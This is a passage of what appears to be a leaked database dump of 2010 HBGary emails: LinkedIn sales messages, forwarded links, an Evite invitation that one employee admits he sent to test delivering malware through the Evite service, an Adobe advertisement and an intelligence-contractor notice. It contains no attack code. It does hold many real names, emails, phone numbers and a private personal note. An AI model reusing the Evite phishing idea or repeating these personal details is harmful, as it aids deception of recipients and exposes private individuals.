AJ (47.5 lousy beltway and I95 miles).  Hard to pass that up even though I really enjoyed running the CSOC.\r\n\r\n\r\n\r\nThe CSOC forensics team looked at an HBGary product last year with little success.  Not sure what the problem was in getting it to work with their toolset.  Bil Carter is the forensics manager and cold explain it I&#39;m sure.  I am not familiar with Fidelis but if your solution would work for an enterprise the size of NGGN, then I would think it would have applicability to many of the federal civil networks we compete to defend.\r\n\r\n\r\n\r\nI am swamped with learning where all the cyber work is hidden in CSD and we have a Division Cyber Review with Linda Mills on 6 October.  After that should be a good time for me.\r\n\r\n\r\n\r\nBill\r\n\r\n\r\n\r\nOn 09/16/10 8:09 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Bill,\r\n\r\n\r\n\r\nHows work without Mark?  I had dinner with him a month or so ago and he seemed excited and a bit wide eyed.  Big job.\r\n\r\n\r\n\r\nI was talking with someone from Fidelis (not sure if you know of them) and they had mentioned wanting to talk with Northrop Internal security folks.  And then I thought I haven&#39;t really talked to you since joining HBGary.  We are partnered with Fidelis to provide perimeter to host malware detection and incident response.  I would like to set up a meeting to come in a talk a bit when you have some time.\r\n\r\n\r\n\r\nAaron\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',9787,'aaron_hbgary_com/9787.html'),(11850,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008867.M474486P14101Q6705.eml','\"Bill Russell\" <sgmrussell@gmail.com>','Re: Discussion','Now in response to your email and not my wifes.Congratulations.  I think.  CSD always had a bit of a hard road, but with your experience probably doing better.  I think what we have is a very good enterprise solution, internally or for your customers, so when you get unburied let&#39;s get together.\r\nAaronSent from my iPhoneOn Sep 16, 2010, at 11:39 AM, Bill Russell via LinkedIn &lt;member@linkedin.com&gt; wrote:\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBill Russell has sent you a message.\r\n\r\n\r\n  Date:\r\n  9/16/2010\r\n\r\n\r\n  Subject:\r\n  RE: Discussion\r\n\r\n\r\n\r\n  Hey Aaron.  Work is fine without Mark.  Actually, InfoSec is now working without both Mark and me.  I am two weeks into a new position with NGIS CSD.  I am the Director, Cyber Security Strategy reporting to the VP for Technology and Strategy Keith Glennan.  Tim McKnight hasn&#39;t selected a successor to manage CND services yet although I believe he has started the process of identifying candidates.\r\n\r\n\r\n\r\nFor me this was a promotion and I now commute from Herndon to Chantilly (6.2 miles) versus Herndon to AJ (47.5 lousy beltway and I95 miles).  Hard to pass that up even though I really enjoyed running the CSOC.\r\n\r\n\r\n\r\nThe CSOC forensics team looked at an HBGary product last year with little success.  Not sure what the problem was in getting it to work with their toolset.  Bil Carter is the forensics manager and cold explain it I&#39;m sure.  I am not familiar with Fidelis but if your solution would work for an enterprise the size of NGGN, then I would think it would have applicability to many of the federal civil networks we compete to defend.\r\n\r\n\r\n\r\nI am swamped with learning where all the cyber work is hidden in CSD and we have a Division Cyber Review with Linda Mills on 6 October.  After that should be a good time for me.\r\n\r\n\r\n\r\nBill\r\n\r\n\r\n\r\nOn 09/16/10 8:09 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Bill,\r\n\r\n\r\n\r\nHows work without Mark?  I had dinner with him a month or so ago and he seemed excited and a bit wide eyed.  Big job.\r\n\r\n\r\n\r\nI was talking with someone from Fidelis (not sure if you know of them) and they had mentioned wanting to talk with Northrop Internal security folks.  And then I thought I haven&#39;t really talked to you since joining HBGary.  We are partnered with Fidelis to provide perimeter to host malware detection and incident response.  I would like to set up a meeting to come in a talk a bit when you have some time.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n',16518,'aaron_hbgary_com/16518.html'),(11851,'2010-09-16','\"SGM Bill Russell\" <sgmrussell@gmail.com>','/aaron@hbgary.com/new/1297008867.M707055P14101Q6706.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion','What email? &nbsp;;-)On Sep 16, 2010, at 11:48 AM, Aaron Barr wrote:Ha lol. &nbsp;And oops. &nbsp;I have one. &nbsp;Maybe I should use it.Where is my men in black pen when I need it.Sent from my iPhone\r\nOn Sep 16, 2010, at 11:46 AM, SGM Bill Russell &lt;sgmrussell@gmail.com&gt; wrote:Uh, Aaron. &nbsp; You should get an iPad. &nbsp;Bigger screen, less fat fingering....\r\n&nbsp;&nbsp;On Sep 16, 2010, at 11:42 AM, Aaron Barr wrote:Cleaning now.Sandy. &nbsp;I am sorry for the aggression. &nbsp;I do perceive their are double standards but real or perceived that should not matter. &nbsp;I should act in the way that I want to be treated by you, complexities of\r\n\r\nOur relationship aside.LoveAaronSent from my iPhoneOn Sep 16, 2010, at 11:39 AM, Bill Russell via LinkedIn &lt;member@linkedin.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInBill Russell has sent you a message.\r\n  Date:\r\n  9/16/2010\r\n\r\n  Subject:\r\n  RE: Discussion\r\n\r\n  Hey Aaron.  Work is fine without Mark.  Actually, InfoSec is now working without both Mark and me.  I am two weeks into a new position with NGIS CSD.  I am the Director, Cyber Security Strategy reporting to the VP for Technology and Strategy Keith Glennan.  Tim McKnight hasn\'t selected a successor to manage CND services yet although I believe he has started the process of identifying candidates.\r\n\r\n\r\n\r\nFor me this was a promotion and I now commute from Herndon to Chantilly (6.2 miles) versus Herndon to AJ (47.5 lousy beltway and I95 miles).  Hard to pass that up even though I really enjoyed running the CSOC.\r\n\r\n\r\n\r\nThe CSOC forensics team looked at an HBGary product last year with little success.  Not sure what the problem was in getting it to work with their toolset.  Bil Carter is the forensics manager and cold explain it I\'m sure.  I am not familiar with Fidelis but if your solution would work for an enterprise the size of NGGN, then I would think it would have applicability to many of the federal civil networks we compete to defend.\r\n\r\n\r\n\r\nI am swamped with learning where all the cyber work is hidden in CSD and we have a Division Cyber Review with Linda Mills on 6 October.  After that should be a good time for me.\r\n\r\n\r\n\r\nBill\r\n\r\n\r\n\r\nOn 09/16/10 8:09 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Bill,\r\n\r\n\r\n\r\nHows work without Mark?  I had dinner with him a month or so ago and he seemed excited and a bit wide eyed.  Big job.\r\n\r\n\r\n\r\nI was talking with someone from Fidelis (not sure if you know of them) and they had mentioned wanting to talk with Northrop Internal security folks.  And then I thought I haven\'t really talked to you since joining HBGary.  We are partnered with Fidelis to provide perimeter to host malware detection and incident response.  I would like to set up a meeting to come in a talk a bit when you have some time.\r\n\r\n\r\n\r\nAaron\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',5203,'aaron_hbgary_com/5203.html'),(11852,'2010-09-16','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008867.M919167P14101Q6707.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"MarkTrynor\" <mark@hbgary.com>','Fwd: must read...','Lol! This is a bold move by Jeff. Interested to see what happens.&nbsp;Begin forwarded message:From: \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt;Date: September 16, 2010 9:50:46 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;Subject: FW: must read...\r\n\r\n\r\n\r\nThis was sent by Jeff…absolutely classic!\r\n\r\nJoy T Williams \r\n\r\nNorthrop Grumman Information Systems\r\n\r\nNetCentric Information Operations\r\n\r\nDepartment Administrator\r\n\r\n1795 Jet Wing Drive, Suite 200\r\n\r\nColorado Springs, CO 80916\r\n\r\n719-622-5500\r\n\r\nFax:719-622-5101\r\n\r\nEfax: 978-684-3865\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: McCartney, Jeff (IS)\r\nSent: Thursday, September 16, 2010 9:39 AM\r\nTo: Lopez, Derick W (IS); Aubuchon, Greg (IS); Brown, Aaron W (IS); Casler, Jenn (IS); Clodfelter-Elrod, Michelle S (IS); Colston, Brandon J (IS); Eads, Clinton D (IS); Fritzinger, Tawny M (IS); Furman, Matthew S (IS); Gaston, Chris B (IS); Goben, Jeremiah R (IS); Jacobson, Cal (IS); Kesterson, Bruce A (IS); Khelghati, Faris (IS); Klootwyk, Andy (IS); Lindorf, Daniel P (IS); Lopez, Taylor D (IS); Martin, Asa M (IS); Martin, Joseph J (IS); Medley, Roger (IS); Nunn, Zoey E (IS); Rairdon, Mark A (IS); Rogers Jr, Ernst A (IS); Salvadore, Nick (IS); Schmick, George B (IS); Schulte, Sharareh (IS); Skinner, Matthew A (IS); Snyder, Jonathan G (IS); Spring, Aaron I (IS); Tate, Brian D (IS); Turner, Cindy S (IS); Warner, Raleigh D (IS); Williams, Joy T (IS)\r\nSubject: must read...\r\n\r\n\r\n\r\nI hope this inspires someone:\r\n\r\n\r\nhttp://www.chartcourse.com/articletitanic.htm\r\n\r\n&nbsp;\r\n\r\njeff\r\n\r\n\r\n\r\n\r\n',13421,'aaron_hbgary_com/13421.html'),(11853,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008868.M170164P14101Q6708.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: must read...','Wow.  Jeff rocks.AaronSent from my iPhoneOn Sep 16, 2010, at 11:55 AM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nLol! This is a bold move by Jeff. Interested to see what happens. Begin forwarded message:From: &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt;\r\nDate: September 16, 2010 9:50:46 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;Subject: FW: must read...\r\n\r\n\r\n\r\n\r\nThis was sent by Jeff…absolutely classic!\r\n\r\n\r\nJoy T Williams \r\n\r\n\r\nNorthrop Grumman Information Systems\r\n\r\n\r\nNetCentric Information Operations\r\n\r\n\r\nDepartment Administrator\r\n\r\n\r\n1795 Jet Wing Drive, Suite 200\r\n\r\n\r\nColorado Springs, CO 80916\r\n\r\n\r\n719-622-5500\r\n\r\n\r\nFax:719-622-5101\r\n\r\n\r\nEfax: 978-684-3865\r\n\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: McCartney, Jeff (IS)\r\n\r\nSent: Thursday, September 16, 2010 9:39 AM\r\n\r\nTo: Lopez, Derick W (IS); Aubuchon, Greg (IS); Brown, Aaron W (IS); Casler, Jenn (IS); Clodfelter-Elrod, Michelle S (IS); Colston, Brandon J (IS); Eads, Clinton D (IS); Fritzinger, Tawny M (IS); Furman, Matthew S (IS); Gaston, Chris B (IS); Goben, Jeremiah R (IS); Jacobson, Cal (IS); Kesterson, Bruce A (IS); Khelghati, Faris (IS); Klootwyk, Andy (IS); Lindorf, Daniel P (IS); Lopez, Taylor D (IS); Martin, Asa M (IS); Martin, Joseph J (IS); Medley, Roger (IS); Nunn, Zoey E (IS); Rairdon, Mark A (IS); Rogers Jr, Ernst A (IS); Salvadore, Nick (IS); Schmick, George B (IS); Schulte, Sharareh (IS); Skinner, Matthew A (IS); Snyder, Jonathan G (IS); Spring, Aaron I (IS); Tate, Brian D (IS); Turner, Cindy S (IS); Warner, Raleigh D (IS); Williams, Joy T (IS)\r\n\r\nSubject: must read...\r\n\r\n\r\n\r\n\r\nI hope this inspires someone:\r\n\r\n\r\nhttp://www.chartcourse.com/articletitanic.htm\r\n\r\n\r\n \r\n\r\njeff\r\n\r\n\r\n\r\n\r\n\r\n',4560,'aaron_hbgary_com/4560.html'),(11854,'2010-09-16','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008868.M393729P14101Q6709.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: must read...','Yeah, the boat...On Sep 16, 2010, at 9:57 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Wow. &nbsp;Jeff rocks.AaronSent from my iPhoneOn Sep 16, 2010, at 11:55 AM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nLol! This is a bold move by Jeff. Interested to see what happens.&nbsp;Begin forwarded message:From: \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt;\r\nDate: September 16, 2010 9:50:46 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;Subject: FW: must read...\r\n\r\n\r\n\r\n\r\nThis was sent by Jeff…absolutely classic!\r\n\r\n\r\nJoy T Williams \r\n\r\n\r\nNorthrop Grumman Information Systems\r\n\r\n\r\nNetCentric Information Operations\r\n\r\n\r\nDepartment Administrator\r\n\r\n\r\n1795 Jet Wing Drive, Suite 200\r\n\r\n\r\nColorado Springs, CO 80916\r\n\r\n\r\n719-622-5500\r\n\r\n\r\nFax:719-622-5101\r\n\r\n\r\nEfax: 978-684-3865\r\n\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: McCartney, Jeff (IS)\r\n\r\nSent: Thursday, September 16, 2010 9:39 AM\r\n\r\nTo: Lopez, Derick W (IS); Aubuchon, Greg (IS); Brown, Aaron W (IS); Casler, Jenn (IS); Clodfelter-Elrod, Michelle S (IS); Colston, Brandon J (IS); Eads, Clinton D (IS); Fritzinger, Tawny M (IS); Furman, Matthew S (IS); Gaston, Chris B (IS); Goben, Jeremiah R (IS); Jacobson, Cal (IS); Kesterson, Bruce A (IS); Khelghati, Faris (IS); Klootwyk, Andy (IS); Lindorf, Daniel P (IS); Lopez, Taylor D (IS); Martin, Asa M (IS); Martin, Joseph J (IS); Medley, Roger (IS); Nunn, Zoey E (IS); Rairdon, Mark A (IS); Rogers Jr, Ernst A (IS); Salvadore, Nick (IS); Schmick, George B (IS); Schulte, Sharareh (IS); Skinner, Matthew A (IS); Snyder, Jonathan G (IS); Spring, Aaron I (IS); Tate, Brian D (IS); Turner, Cindy S (IS); Warner, Raleigh D (IS); Williams, Joy T (IS)\r\n\r\nSubject: must read...\r\n\r\n\r\n\r\n\r\nI hope this inspires someone:\r\n\r\n\r\nhttp://www.chartcourse.com/articletitanic.htm\r\n\r\n\r\n&nbsp;\r\n\r\njeff\r\n\r\n\r\n\r\n\r\n\r\n',11366,'aaron_hbgary_com/11366.html'),(11855,'2010-09-16','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008868.M640827P14101Q6710.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Can you give me a call when you get a second today?','',1081,'aaron_hbgary_com/1081.html'),(11856,'2010-09-16','\"US Intelligence Association\" <mailer@delivery.cocodot.com>','/aaron@hbgary.com/new/1297008868.M842309P14101Q6711.eml','\"Aaron Barr\" <aaron@hbgary.com>','US Intelligence Association invited you to Its my party','\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  Aaron Barr, you have been invited to...\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n  	\r\n  \r\n\r\n\r\n\r\n  &nbsp;\r\n  \r\n  	\r\n  	  \r\n      \r\n        \r\n          \r\n            \r\n\r\n\r\nINVITATION:\r\n     Its my party\r\n\r\n\r\nHOST:\r\n     US Intelligence Association\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    September 17, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    05:00pm - 07:00pm EDT\r\n\r\n\r\n  \r\n\r\n\r\n&nbsp;\r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     Mclean Hilton\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     777 UR screwed dr.Mclean, VA 22101\r\n\r\n\r\n\r\n\r\n\r\n  &nbsp;\r\n    link to map\r\n\r\n\r\n\r\n          \r\n        \r\n      \r\n      \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n	&nbsp;\r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	&nbsp;\r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don\'t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n',15686,'aaron_hbgary_com/15686.html'),(11857,'2010-09-16','\"Matt Standart\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297008869.M118849P14101Q6712.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: US Intelligence Association invited you to Its my party','Ok I just got one.  This time it looks blatent (notice the address below, kinda funny).  I think someone got compromised, and the attacker is making it known.\r\n \r\n-Matt\r\n \r\n---------- Forwarded message ----------From: US Intelligence Association &lt;mailer@delivery.cocodot.com&gt;\r\nDate: Thu, Sep 16, 2010 at 9:06 AMSubject: US Intelligence Association invited you to Its my partyTo: matt standart &lt;matt@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmatt standart, you have been invited to... \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nIts my party\r\n\r\nHOST:\r\nUS Intelligence Association\r\n\r\nDATE:\r\nSeptember 17, 2010\r\n\r\nTIME:\r\n05:00pm - 07:00pm EDT\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMclean Hilton\r\n\r\nADDRESS:\r\n777 UR screwed dr.Mclean, VA 22101\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for matt@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n\r\n',11447,'aaron_hbgary_com/11447.html'),(11858,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008869.M347156P14101Q6713.eml','\"Matt Standart\" <matt@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,,,,,,','Re: US Intelligence Association invited you to Its my party','That one was from me. &nbsp;:)I was verifying that you could use the evite system to send malware....and sure enough...Brilliant.I am still not sure if its real or not, but now we know it is absolutely &nbsp;possible which would have a very high success rate for exploitation.AaronOn Sep 16, 2010, at 12:10 PM, Matt Standart wrote:Ok I just got one.&nbsp; This time it looks blatent (notice the address below, kinda funny).&nbsp; I think someone got compromised, and the attacker is making it known.\r\n&nbsp;\r\n-Matt\r\n&nbsp;\r\n---------- Forwarded message ----------From: US Intelligence Association &lt;mailer@delivery.cocodot.com&gt;\r\nDate: Thu, Sep 16, 2010 at 9:06 AMSubject: US Intelligence Association invited you to Its my partyTo: matt standart &lt;matt@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmatt standart, you have been invited to... \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nIts my party\r\n\r\nHOST:\r\nUS Intelligence Association\r\n\r\nDATE:\r\nSeptember 17, 2010\r\n\r\nTIME:\r\n05:00pm - 07:00pm EDT\r\n\r\n&nbsp;\r\n\r\n\r\nLOCATION:\r\nMclean Hilton\r\n\r\nADDRESS:\r\n777 UR screwed dr.Mclean, VA 22101\r\n\r\n&nbsp;\r\nlink to map\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n&nbsp;\r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for matt@hbgary.com. Don\'t want to receive these messages? Unsubscribe. \r\n\r\n',13124,'aaron_hbgary_com/13124.html'),(11859,'2010-09-16','\"Adobe Systems Incorporated\" <direct@adobesystems.com>','/aaron@hbgary.com/new/1297008869.M597614P14101Q6714.eml','aaron@hbgary.com','IT News: Strategies for business success with Acrobat 9.','\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	 img { display:block; }\r\n	 a { text-decoration:underline; }\r\n	 br {clear:both; }\r\n	\r\n	\r\n\r\n\r\nHelp users save countless hours in minutes.\r\n\r\n   \r\n      \r\n         \r\n            \r\n               If this message is not displaying properly, click here to launch your browser.\r\n                  \r\n               \r\n            \r\n            \r\n               \r\n               \r\n            \r\n         \r\n      \r\n   \r\n   \r\n      \r\n   \r\n   \r\n      \r\n         \r\n            \r\n               A Better Bottom Line\r\n                  Download and share our FREE white paper today.\r\n            \r\n            \r\n               The Standard for Success\r\n                  Watch this OnDemand eSeminar to learn more about our Acrobat Enterprise Program.\r\n            \r\n            \r\n               Take a Peek\r\n                  Tune into your Acrobat&reg; TV guide.\r\n            \r\n         \r\n      \r\n      \r\n         \r\n            \r\n               \r\n            \r\n            \r\n               \r\n            \r\n            \r\n               Better approaches to communication and collaboration are no longer just nice to have&mdash;they are requirements for success. Learn how Acrobat Dynamic PDF can help your teams connect, interact, and engage in powerful new ways. Download the white paper to get the details. \r\n            \r\n            \r\n               \r\n           \r\n         \r\n      \r\n   \r\n   \r\n      Adobe, the Adobe logo, Acrobat, and the Adobe PDF logo are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. All other trademarks are the property of their respective owners.\r\n         \r\n         &copy; 2010 Adobe Systems Incorporated. All rights reserved. \r\n         \r\n         PLEASE DO NOT REPLY TO THIS MESSAGE. To obtain information on how to contact Adobe, visit the web at: www.adobe.com/misc/comments.html, or call 800-833-6687. \r\n         \r\n         This is an advertising message from Adobe Systems Incorporated, its affiliates and agents (&quot;Adobe&quot;), 345 Park Avenue, San Jose, CA 95110 USA. If you\'d prefer not to receive e-mail like this from Adobe in the future, please click here to unsubscribe or send an e-mail to unsubscribe-na@adobesystems.com. Alternatively, you may mail your unsubscribe request to:\r\n         \r\n         Adobe Systems Incorporated\r\n         Attn: Change of Address/Privacy\r\n         343 Preston Street\r\n         Ottawa, ON K1S 1N4\r\n         Canada \r\n         \r\n         Your privacy is important to us. Please review Adobe\'s Online Privacy Policy by clicking here: www.adobe.com/misc/privacy.html.\r\n   \r\n\r\n\r\n\r\n\r\n\r\n',12161,'aaron_hbgary_com/12161.html'),(11860,'2010-09-16','\"Matt Standart\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297008869.M831265P14101Q6715.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,,','Re: US Intelligence Association invited you to Its my party','Hah!  I was almost hoping there was a UR screwed dr. in Virginia somewhere.  Maybe there is?\r\nOn Thu, Sep 16, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThat one was from me.  :) \r\n\r\nI was verifying that you could use the evite system to send malware....and sure enough...Brilliant.\r\n\r\nI am still not sure if its real or not, but now we know it is absolutely  possible which would have a very high success rate for exploitation.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 16, 2010, at 12:10 PM, Matt Standart wrote:\r\n\r\nOk I just got one.  This time it looks blatent (notice the address below, kinda funny).  I think someone got compromised, and the attacker is making it known.\r\n \r\n-Matt\r\n \r\n---------- Forwarded message ----------From: US Intelligence Association &lt;mailer@delivery.cocodot.com&gt;\r\nDate: Thu, Sep 16, 2010 at 9:06 AMSubject: US Intelligence Association invited you to Its my partyTo: matt standart &lt;matt@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmatt standart, you have been invited to... \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nIts my party\r\n\r\nHOST:\r\nUS Intelligence Association\r\n\r\nDATE:\r\nSeptember 17, 2010\r\n\r\nTIME:\r\n05:00pm - 07:00pm EDT\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMclean Hilton\r\n\r\nADDRESS:\r\n777 UR screwed dr.Mclean, VA 22101\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for matt@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n\r\n',3588,'aaron_hbgary_com/3588.html'),(11861,'2010-09-16','arc@westfields.net','/aaron@hbgary.com/new/1297008870.M299015P14101Q6717.eml','federal@hbgary.com','NGA / Industry Outreach Session 27 July 2010 Announcement Posting','\r\nAn announcement has been posted on the NGA-Industry Outreach Session 27 July 2010 effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /Industry Outreach Session 27 July 2010 from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { 